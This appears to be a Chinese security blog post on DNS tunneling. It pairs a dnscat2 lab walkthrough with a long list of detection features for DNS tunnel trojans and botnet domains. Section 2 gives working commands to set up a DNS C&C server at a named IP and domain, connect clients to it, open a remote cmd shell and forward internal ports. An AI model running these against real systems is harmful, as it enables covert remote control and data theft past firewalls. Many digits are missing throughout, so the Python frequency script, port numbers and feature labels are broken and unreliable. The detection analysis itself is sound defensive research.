DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测

1. DNS隧道简介

DNS隧道技术是指利用 DNS协议建立隐蔽信 道,实现隐蔽数据传输。最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽 隧道工具，相关链接。

之后出现了越来越多的DNS隐蔽通道工具，例如

. iodine: https://github.com/yarrick/iodine
This is a piece of software that lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed.

. Dns2tcp: https://www.aldeid.com/wiki/Dns2tcp
Dns2tcp is a tool for relaying TCP connections over DNS. Among other things, it can be used to bypass captive portals (e.g. hotels, airport, ...) when only port /udp is allowed by the firewall.

. tcp-over-dns: http://analogbit.com/software/tcp-over-dns/
tcp-over-dns contains a special dns server and a special dns client. The client and server work in tandem to provide a TCP (and now UDP too!) tunnel through the standard DNS protocol.

. Heyoka: http://heyoka.sourceforge.net/
Heyoka is a Proof of Concept of an exfiltration tool which uses spoofed DNS requests to create a bidirectional tunnel. It aims to achieve both performance and stealth

. Dnscat: https://wiki.skullsecurity.org/Dnscat
dnscat is designed in the spirit of netcat, allowing two hosts over the Internet to talk to each other. The major difference between dnscat and netcat, however, is that dnscat routes all traffic through the local (or a chosen) DNS server

DNS隧道思想可以被用来进行绕过上网登录认证，实现免费上网。同时这种“one protocol over the other protocol”的隧道思想还可以被恶意软件用来进行隐蔽通信。

DNS隧道木马带来的威胁很大,而且 DNS隧 道木马难以得到有效的监控.一方面是因为 DNS报 文具有天然的穿透防火墙的能力;另一方面,目前的 杀毒软件、IDS等安全策略很少对 DNS报文进行有 效的监控管理。

DNS的记录类型有很多，大家常见的有A，AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A，MX，CNAME,TXT，NULL等。

0x1：DNS隧道木马分类

根据木马工作原理的不同,将 DNS隧道木马细 分为IP直连型和域名型.

1. IP直连型 DNS隧道木马

如果 DNS隧道木马的服务器可以与本地主机通过IP直接通信，传输协议采用 DNS协议，则称为 IP直连型 DNS隧道木马。

IP直连型 DNS隧道木马的服务器端开放53端口，被控端利用 UDPsocket 套接字直接与C&C服务建立连接。在这种情况下，两者传输的内容实际上是基于 UDP服务。

这种木马与传统 UDP 木马的最大不同点就是

. 利用53端口进行传输交互数据，而53端口的外联基本上在所有机器上都必须开放，否则则无法使用互联网DNS服务；
. 精心构造传输的载荷内容，使其至少从格式上是符合DNS query包格式，因为如果攻击者构造的UDP载荷内容不符合DNS报文格式，在 wireshark等流量分析工具的流量解析下，很容易出现 DNS报文异常的情况；

2. 域名型 DNS隧道木马 - DNS迭代查询中继隧道

域名型 DNS隧道木马基本通信架构如下图所示

. 被控端把要传输的内容封装（protocol wrap）在dns query请求包中，发起一次正常的dns解析请求；
. 当被控端向任意一台DNS服务器请求该域名下的子域名时，本地 DNS服务器无论是通过递归查询还是迭代查询，都会向外转发这个DNS请求，最终这个DNS请求都会被送到黑客控制的权威NS服务器中（这意味着黑客必须事先配置好NS以及A记录解析）；
. NS服务器控制端解析请求报文，得到被控端传来的信息，然后将攻击控制命令通过封装在DNS响应报文中；
. 从而实现双方通信，所有的通信都必须由被控端（client端）主动发起，不断回传数据并接受新指令。

中继过程中的一个关键点是对DNS缓存机制的规避，因为如果需要解析的域名在Local DNS Server中已经有缓存时，Local DNS Server就不会转发数据包。所以在我们构造的请求中，每次查询的域名都是不一样的或者是已经是过期的。这个特征同时也包含了一个可用于检测的规律，即在DNS tunnel的会话中，dns query host的数量会比正常情况下要多，

对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看，载荷只是客户端和服务器通信的正常流量。

例如客户端发送一个A记录请求给服务器，查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息，这串字符解码后的信息便是dnstunneling。

最后，因为大多数场景下，内网的Client位于防火墙后，Server不可能发起连接。所以大多数工具，Client会定时向Server发送请求，保证二者之间的通信状态。

3. IP直连型和域名解析型异同点

这2种方法虽然工作原理上存在差别，但是从流量角度上来看都是基于DNS协议，但是这里在实际工程中也要注意，你旁路采集的方式可能会影响到你最终能否采集到完整的通信日志，例如如果你是采用记录dns解析的方法，则可能会漏过udp ip直连的这种通信方式，如果直接在网关上进行“端口和协议解析”则可以保证全流量采集。

IP直连型 DNS隧道木马直接与 DNS 服务器通过 UDPsocket通信，因此通信效率要比 域名型 DNS隧道木马高，但是这种 DNS隧道木马 致命的弱点是直接把IP暴露在网络流量中，如果客 户端指定信任的 DNS服务器解析 DNS服务，那么 IP直连型 DNS隧道木马就很容易被IP 黑白名单 封杀；

对于域名型 DNS隧道木马而言，只要客户机 能与任意一台外网的 DNS服务器通信，那么域名型DNS隧道木马就可以工作，因此域名型 DNS隧道木 马生存能力更强，隐蔽性更高，更适合进行隐蔽的控 制渗透任务。

2. Powershell+dnscat2实现DNS隐蔽隧道反弹Shell

0x1：C&C域名绑定

需要配置A记录解析以及NS记录

# NS记录: 配置一个ns主机记录，并将其指向我们自己的A记录，这样，受控端在发起dns query请求的时候，会直接指定“dnsch.alihacker.xin”作为dns ns server，然后通过A记录解析到我们的C&C服务器上，我们在C&C服务器上监听53端口的ruby程序才能获取到dns query全文
dnsch.alihacker.xin -> ns.alihacker.xin
# 受控端的DNS C&C即为: dnsch.alihacker.xin

# A记录: 将某个dns host解析到C&C IP
ns.alihacker.xin -> 120.26.56.250

0x2：在C&C服务器上安装DNS C&C Server

dnscat2这里充当的角色是接受目标53端口的dns协议query解析请求，并构造response包返回。

安装过程如下：

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
bundle install

启动server端：

# 如果没有域名的话，直接在外网VPS运行:
ruby ./dnscat2.rb -e open -c dnschcirrus --no-cache
# 如果配置好了DNS的解析:
# -e参数可以规定安全级别，open代表让客户端进行选择
# -c参数定义了pre-shared secret，在服务器端和客户端使用相同加密的秘密dnschcirrus，可以防止man-in-the-middle攻击，否则传输数据并未加密，有可能被监听网络流量的第三方还原。命令行中，如果不加定义，dnscat2 server会生成一个字符串，记得拷贝下来在启动客户端时使用。
# --no-cache，如果使用powershell客户端请务必在运行服务器时添加无缓存选项，因为powershell-dnscat2客户端与dnscat2服务器的caching模式不兼容
ruby ./dnscat2.rb yourdomain -e open -c dnschcirrus --no-cache
ruby ./dnscat2.rb dnsch.alihacker.xin -e open -c dnschcirrus --no-cache

0x3：部署客户端dnscat2 client

dnscat2有exe版本以及powershell版本，相比之下，powershell的不落盘特性更好。本质上代码逻辑是一样的。

# pre-share secret要保持一致
./dnscat --dns=server=120.26.56.250 --secret=dnschcirrus
./dnscat --dns=server=dnsch.alihacker.xin --secret=dnschcirru
# 如果是采用dns解析方式上线
./dnscat xiaohantest.blankwater.cc --secret=dnschcirrus

0x4：连接建立后，C&C控制端可以执行指令

1. 获取shell

# 切换到session ，session 1是新连接上来的dnscat client
session -i
# 通过help可以看到支持的命令
help
# 新生成一个session
shell 
# 通过session -i  切过去，此时获得的shell就是cmdshell
session -i 

2. 端口转发

session -i id
listen  10.211.55.19: #将内网10.211.55.19的22端口转发到本地的4444

然后直接ssh本地的ip的4444端口

0x5：wireshark抓包分析

1. UDP直连模式

可以看到，dnscat通过dns协议的query请求，封装了加密后的指令执行结果。

同时还注意到，所有dns包的udp五元组都是相同的，受控端和C&C复用了同一个udp会话进行dns隧道通信，我们可以基于这个特点对dns的日志进行udp五元组的聚类，在udp五元组会话的基础上进行特征工程。

2. 域名解析模型

我们注意到，主要使用了CNAME、MX、以及TXT记录的查询。

Relevant Link:

https://mp.weixin.qq.com/s/5mDhzuGC2WEc8bdIjRg94w
http://www.91ri.org/16386.html

3. 可用于DNS tunnel的检测思路 - 基于UDP DNS会话

0x1：DNS query type成分组成异常检测

1. DNS Tunnel

很多DNS Tunneling使用TXT记录类型发送请求和响应（例如文件上传等大数据量功能），而在正常的DNS网络流量中，TXT记录的比例可能只有1%-2%，如果时间窗口内，TXT记录的比例激增，那么也意味着可能存在异常。

2. DNS FF Botnet

另外，在FF Botnet中，NXDOMAIN的比例也会比正常情况下要高。

3. DNS Query types Numbers

the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.

统计一个session会话中的dns type数量

Relevant Link:

https://en.wikipedia.org/wiki/List_of_DNS_record_types

0x2：基于Zipf定律的异常检测 - Frequency Analysis

在Detecting DNS Tunnels Using Character Frequency Analysis论文中，证明了还可以通过词频的检测识别DNS Tunneling的流量。

根据Zipf定律，在自然语言的语料库里，词频往往会集中于某些小子集中，并且高频词到低频次的频率逐渐下降。

而在这篇论文中，证明了DNS Tunneling中由于域名做了编码，不符合Zipf定律（例如dns2tcp），整个分布趋于平稳。

我们可以通过检测排序后的词频平均斜率来检测inputstring是否符合zipf law规律。

# -*- coding:utf- -*-

from operator import itemgetter

if __name__ == '__main__':
    dns_query_buf = 'dnscat.0569013e35bca63ff4bbb7012746468a8ddd1e264925a8a35a8236706a81.5b1ee76326594ced6a8822da3090f057e588c2df2d804f3fb04ad9c42d7b.5a15272d5b32f858f8301d7da834e170aa725d57926317c0dd70b01975bb.37ee8c892b5c1b16e3d41d79466d2ba'
    frequency = {}

    # uni char frequency count
    for word in dns_query_buf:
        count = frequency.get(word, )
        frequency[word] = count + 

    # calculate the mean cumulative slope(平均累积斜率)
    last_cn = None
    cumulative_slope =
    for k, v in reversed(sorted(frequency.items(), key=itemgetter())):
        if not last_cn:     # init start
            last_cn = v
            continue
        cumulative_slope += (v - last_cn)
    cumulative_slope = cumulative_slope / len(frequency)
    print "cumulative_slope: ", cumulative_slope

Relevant Link:

https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.zipf.html
https://code.tutsplus.com/tutorials/how-to-use-python-to-find-the-zipf-distribution-of-a-text-file--cms-26502
https://arxiv.org/pdf/1004.4358.pdf
https://stackoverflow.com/questions/43601074/zipf-distribution-how-do-i-measure-zipf-distribution-using-python-numpy
https://cloud.tencent.com/developer/article/1040276

0x3：DNS query/answer文本特征

1. n-gram文本特征

通过2-gram/3-gram提取恶意dns query的文本特征，参与训练。

2. 基于CNN深度神经网络，从文本角度判断单条DNS query是否存在可疑Tunnel特征

3. Query/Answer长度特征

, AVG(LENGTH(query_name)) AS queryname_avg  -- Query Length Average
, MAX(LENGTH(query_name)) AS queryname_max  -- Longest/Shortest Meaningful Word Length Average
, MIN(LENGTH(query_name)) AS queryname_min
-- . Answer长度特征
, AVG(LENGTH(anwser_name)) AS answername_avg  -- Answer Length Average
, MAX(LENGTH(anwser_name)) AS answername_max  -- Longest/Shortest Meaningful Word Length Average
, MIN(LENGTH(anwser_name)) AS answername_min

普遍来说：

dns tunnel工具产生的dns query会比较长，因为要附带client的信息回传；

dns answer会比较短，因为只要传输指令，甚至指令action code即可

Relevant Link:

https://github.com/BoneLee/dns_tunnel_dectect_with_CNN
http://www.freebuf.com/articles/network/158163.html

0x4：基于会话聚类维度的DNS tunnel行为特征

在网络通信中，由【源IP地址、源端口、传输层协议、目的IP地址、目的端口】这5个量组成的一个集合，称之为五元组，任意一个数据包都可以将其表示为五元组。五元组能够区分不同会话，并且对应的会话是唯一的。

研究单个DNS报文并不能从时间区间维度刻画出完整的DNS隧道木马的行为，我们可以通过对五元组进行归并聚类，从DNS会话的角度分析隧道木马流量。

其依据是DNS隧道木马在通信过程中通信双方所扮演的角色和通信模式与正常DNS解析行为具有显著的差异性（数据中包含一定的规律）

1. DNS会话时长

TCP会话在建立通信过程中存在“三次握手”和断开连接的“四次握手”行为，因此TCP会话可以计算会话时长。

DNS会话属于 UDP 会话的其中一种，由于UDP无连接的特性，DNS没有会话时长的严格定义。定义在一次DNS会话中，最后一个DNS报文的时间和第一个DNS报文的时间差就作为这个 DNS会话的时长。

正常情况下，一次DNS解析过程首先由客户机在本地随机开启一个 UDP 端口，然后向指定的DNS服务器53端口发送DNS请求报文，两者由此建立一个 UDP通道。客户机一旦得到相应DNS回复报文，这个 DNS解析过程就结束了，如果没有后继的DNS解析任务，创建的 UDP套接字会保存一段时间然后关闭，完成一次 DNS 会话，再次进行DNS解析的时候，再随机开启另一个UDP端口，重复上述过程。因此，正常域名解析DNS会话的时间短；

对于DNS隧道木马而言，创建的 UDP 套接字 通常会等到木马下线或者木马生命结束才关闭，UDP套接字会被复用，导致 DNS 隧道木马的 DNS 会话时长远大于正常DNS会话时长。

2. DNS会话中数据包总数

因为DNS隧道木马的会话一般随着木马生命周期的结束而结束，在整个木马的生命周期里会向外发送心跳报文、传输本机敏感信息、资源文件等，控制端会下达相关的远程控制指令等。所以在 DNS 隧道木马会话中 DNS报文数量大。

然而，正常客户端产生的DNS会话随着一次DNS解析任务结束而结束，DNS会话比较简短。大多数情况是2个，由1个DNS请求报文和1个DNS响应报文组成。

3. “上行大包”占请求报文总数的比例

在DNS请求报文中，如果queries字段字节数大于50，那么定义该DNS请求报文为上行大包。

DNS隧道木马被控端把要传输的内容封装在queries字段的域名中，DNS隧道木马为了在一次传输过程中携带尽可能多的隐蔽信息，往往造成queries字段中的域名长度偏长。

与正常DNS会话相比，DNS隧道木马会话中“上行大包”占请求报文总数的比例较大。

另一方面，如果攻击者为规避检测，强制split拆分构造相对短小的域名，从而减少每次发送的报文携带的隐蔽通信内容。当被控端传送某一固定的敏感资源文件，由于传送的资源文件大小是固定的,如果牺牲一次携带的隐蔽信息的内容，势必造成整个DNS会话的DNS报文总数的增加。

可知,在一次 DNS隧道木马的会话中，DNS报文总数和DNS报文长度是负相关的。因此我们基于该规律构造一个人工复合特征，即 DNS报文总数 * 平均报文长度 = 总的报文length。

4. “下行小包”占响应报总数的比例

DNS隧道木马在交互过程中，控制端发送的控制命令一般有特定含义，且短小精简，因此DNS隧道回复报文一般是“下行小包”。

对于正常本机DNS解析请求而言，客户机是资源请求者，DNS服务器返回的数据除了answers字段外，还经常返回授权和额外信息字段信息，因此正常的 DNS响应报文相对较大。

我们定义如下：将 DNS应答报文中answers字段字节数小于50的数据包称为“下行小包”。

5. 有效载荷的上传下载比

DNS会话报文中的有效载荷是指DNS报文中除去DNS报文头部剩下的queries字段和answers字段、授权和额外信息字段的内容。

DNS隧道木马在和控制端交互通信时，DNS隧道木马控制端向被控端发送少量的控制命令，被控端需要回传大量的本机敏感资源文件数据。

然而，正常DNS解析情况刚好相反，客户端DNS请求报文通常短小，而DNS服务器返回的数据信息比较多。因此DNS隧道木马会话的上传下载比例比一般正常的DNS会话大。

6. 有效载荷部分是否加密

DNS协议是一种明文传输协议，DNS隧道木马出于提高通信内容隐蔽性的需要，往往会对通信数据进行加密，因此把加密的DNS数据作为可疑的DNS隧道木马通信的一个特征。为了提高特征工程速度，我们可以使用信息熵作为是否存在加密的衡量标准。

7. 域名对应的主机名数量

对于DNS隧道木马而言，控制端要不断借助DNS qury的query_name来承载要传输的内容，所以从主机数量这个维度来看，在一个DNS tunnel会话中，域名对应的主机名数量会明显大于正常的DNS通信。

8. FQDN数异常检测

域名有全称和简称的区别。全称的域名，直译为"完全的合格的域名"(FQDN，Fully Qualified Domain Name)，表现为由"·"隔开的点分式层次结构，叫名称空间， 它指定了一台主机和它所属域的隶属关系，而简称通常就是这台主机的计算机名，在域名的最左边。

可以这么说FQDN(完全合格的域名)，是域加计算机名的总称。比如: www.microsoft.com 这个FQDN 中，www 是主机名，microsoft.com 是域。 www+microsoft.com 组合在一块就成了一个完整的域名(FQDN)。

可以通过分析一定时间窗口内所产生的FQDN数，通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。

9. 总的query 报文Payload载荷量

如果是正常的DNS交互，在一个会话中的总的数据data总量应该不会非常大。但是由于dns tunnel需要进行指令和数据的传输，因此总的数据载荷会远大于正常水平

0x5：响应时间相关特征

1. Response wait time特征

正常的dns server会在较短时间内完成dns响应，而dns tunnel server由于需要进行数据的解码以及后续处理逻辑，响应时间会稍微较长

0x6：信息熵

可以通过计算query和answer或者它们的平均的信息熵进行特征化dns tunnel是否可能存在

0x7：发包频率行为

在实际的线上环境中，存在一些DNS Flood攻击行为，这部分攻击触发的行为日志很容易命中到DNS Tunnel模型，例如：

BQGGMMPCHJPKPBKCHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me
JLMBOHPCDFDIOLFFHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me

对于这种情况，我们需要将所有DNS会话包之前的间隔统计出来，计算它们的均值/方差等特征

Relevant Link:

《基于通信行为分析的DNS隧道木马检测方法》pdf
https://arxiv.org/pdf/1709.08395.pdf
http://www.cnblogs.com/wuyuxiang/p/5166653.html
https://www.hindawi.com/journals/scn/2018/6137098/

4. 可用于DNS tunnel的检测思路 - 基于DNS QUERY维度

0x1：Network Features - 网络访问行为方面的特征

1. 域名被访问频率角度特征

除了从单台主机上的异常dns session维度进行异常检测，还可以从dns query name的角度进行恶意dns name进行恶意检测与打标。

. Rare domains: Domain names of CnC servers are rare since they are seldom requested by legitimate users.
. Young domains: When a domain generation algorithm (DGA) is used the CnC server frequently acquires new domain names hence they tend to be recently registered. We use a massive daily updated data feed to map domain names to their registration date
. Non-existent domain responses: When DGA is used, Botnets query many non-existing domains before they find the actual domain of their CnC server for that time

2. TTL (last seen - first seen)

The majority of the legitimate websites that provide high availability services uses TTL values between 600 and 3,600 seconds . On the other hand, malicious domain names tend to have smaller TTL values. In addition, Dynamic DNS providers frequently used to host domains related to malicious activity also use low TTL values

group by后计算
last seen - first seen
不用用原生的ttl

3. window

Malicious domain names used in botnets FF networks typically do not have a fixed set of machines. Over time, botnets will acquire new bots which will be introduced in the flux and certain bots might eventually be cleaned or disassociated from the botnet.

计算同一个dns name的answer的distinct数量

4. dns name change frequency

Legitimate domains that have load balancing due to the amount of traffic received, often do so by having multiple hosts associated to each domain name. Such is the case for CDNs. On the other hand, botmasters do not want to attract attention to the generated CnC traffic, as a consequence they often cycle the IP addresses associated to the CnC servers. In addition, the number of different TTL values can be used to identify malicious domains due to the fact that malicious domains might exhibit several changes, while one could expect benign domains to remain rather unchanged

With these three features we expect to measure how a domain changes over time.

F23 number of different answers
F24 number of different values of TTL  

F25-27
1. Maximum TTL
2. Mean TTL
3. Variance of TTL

0x2：Lexical Features

Lexical特征的原理是：

The rationale behind this set of features is related to the fact that many malicious domain names look like randomly generated (particularly in the case of DGAs) and often tend to look different [28]. Furthermore, legitimate domain names are typically user friendly, composed of native words and easy to remember. On the other hand, malicious domain names are not intended for human use so do not share such characteristics.

恶意DNS域名倾向于表现为类似随机字符串，而正常的DNS域名常常是可读友好的、由简单词汇组成、易于记忆的。

1. 域名本身词频特征层面特征

词频特征将通过[1,4]-gram的词频特征得以体现

针对每条dns name（一次dns query/answer交互），我们可以将其抽象为下列的词频特征向量：

F1- -gram
. mean
. variance
. standard deviation
. range(极差)

F4- -gram
. mean
. variance
. standard deviation
. range(极差)

F7- -gram
. mean
. variance
. standard deviation
. range(极差)

F10- -gram
. mean
. variance
. standard deviation
. range(极差)

2. 域名的香侬熵

calc_entropy(query_name) AS query_name_entropy

香侬熵体现了字符串词频混乱度的一种体现。词频分布越平均（越混乱），香侬熵越大。

3. 字符分布特征 -可读性/易读性方面的体现

F15 Number of different characters
F16 Number of digits / domain name length
F17 Number of consonants / domain name length
F18 Number of consonants / number of vowels

一般来说，一个易读、容易记忆的域名中，元音、辅音、数字的占比会呈现出一定的规律，而类似DGA那种随机化的域名则不满足该规律。

0x3：DNS session会话相关特征

1. Number of IP subnetworks

While corporate domains tend to allocate their machines within the same subnetwork or a small finite set of subnetworks, botnets harvests their bots from different locations, often randomly. As such, one can expect that domains used for FF, and associated with botnet activity, will have answers that belong to several different IP subnetworks

F34-
. A类CIDER地址数量
. B类CIDER地址数量
. C类CIDER地址数量

2. DNS对应的src_ip/dst_ip count相关特征

APT attackers usually use servers residing in different countries to build C&C channel in order to evade detection. Moreover, attackers make use of fast flux to hide the true attack source. APT attacker changes the C&C domain to point to predefined IP addresses, such as look back address and invalid IP address. With this insight, we extracted three features from DNS request and response, such as the number of distinct source IP addresses, the number of distinct IP addresses with the same domain, IP in the same country, and using the predefined IP addresses.

统计该dns name对应的session五元组的dst_ip/dst_port的数量 - 揭示FF bot特征
还可以加上A/B/C cider数量的统计

The botnet domains are only known to the bots, who will try to query them according to the botnet program. Therefore, the sources of the query messages are restricted to the areas where the bots exist.

统计该dns name对应的session五元组的src_ip/src_port的数量 - 揭示该dns name只被有限的botnet victim所访问
还可以加上A/B/C cider数量的统计

3. DNS query type组成成分相关特征

the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.

统计一个session会话中的dns type数量

0x4：DNS域名相关meta信息

1. whois-based features

Registration duration
Active duration
Update duration
Number of DNS

Relevant Link:

https://azure.microsoft.com/zh-cn/blog/large-scale-analysis-of-dns-query-logs-reveals-botnets-in-the-cloud/
Botnet Detection Using Passive DNS Master Thesis Pedro Marques da Luz
z-thesis_pedroluz.pdf
https://www.certsi.es/en/blog/botnet-detection-dns
https://ieeexplore.ieee.org/document/7453917/
https://sci-hub.tw/https://ieeexplore.ieee.org/document/7453917/

5. 异常数据清洗

在进行模型预测之前，我们需要先对原始数据进行清洗，避免大量的正常日志数据进入预测，降低召回率和精确度。

0x1：基线异常过滤思路

将一台主机上历史（例如7天）未曾出现过的DNS query看成是基线异常，而对那部分一直在出现或者曾经发生过的query请求进行过滤。

0x2：无监督异常abnormal检测算法

使用例如one-class svm异常检测算法从原始数据中筛选出一批明显区别于正常dns query请求。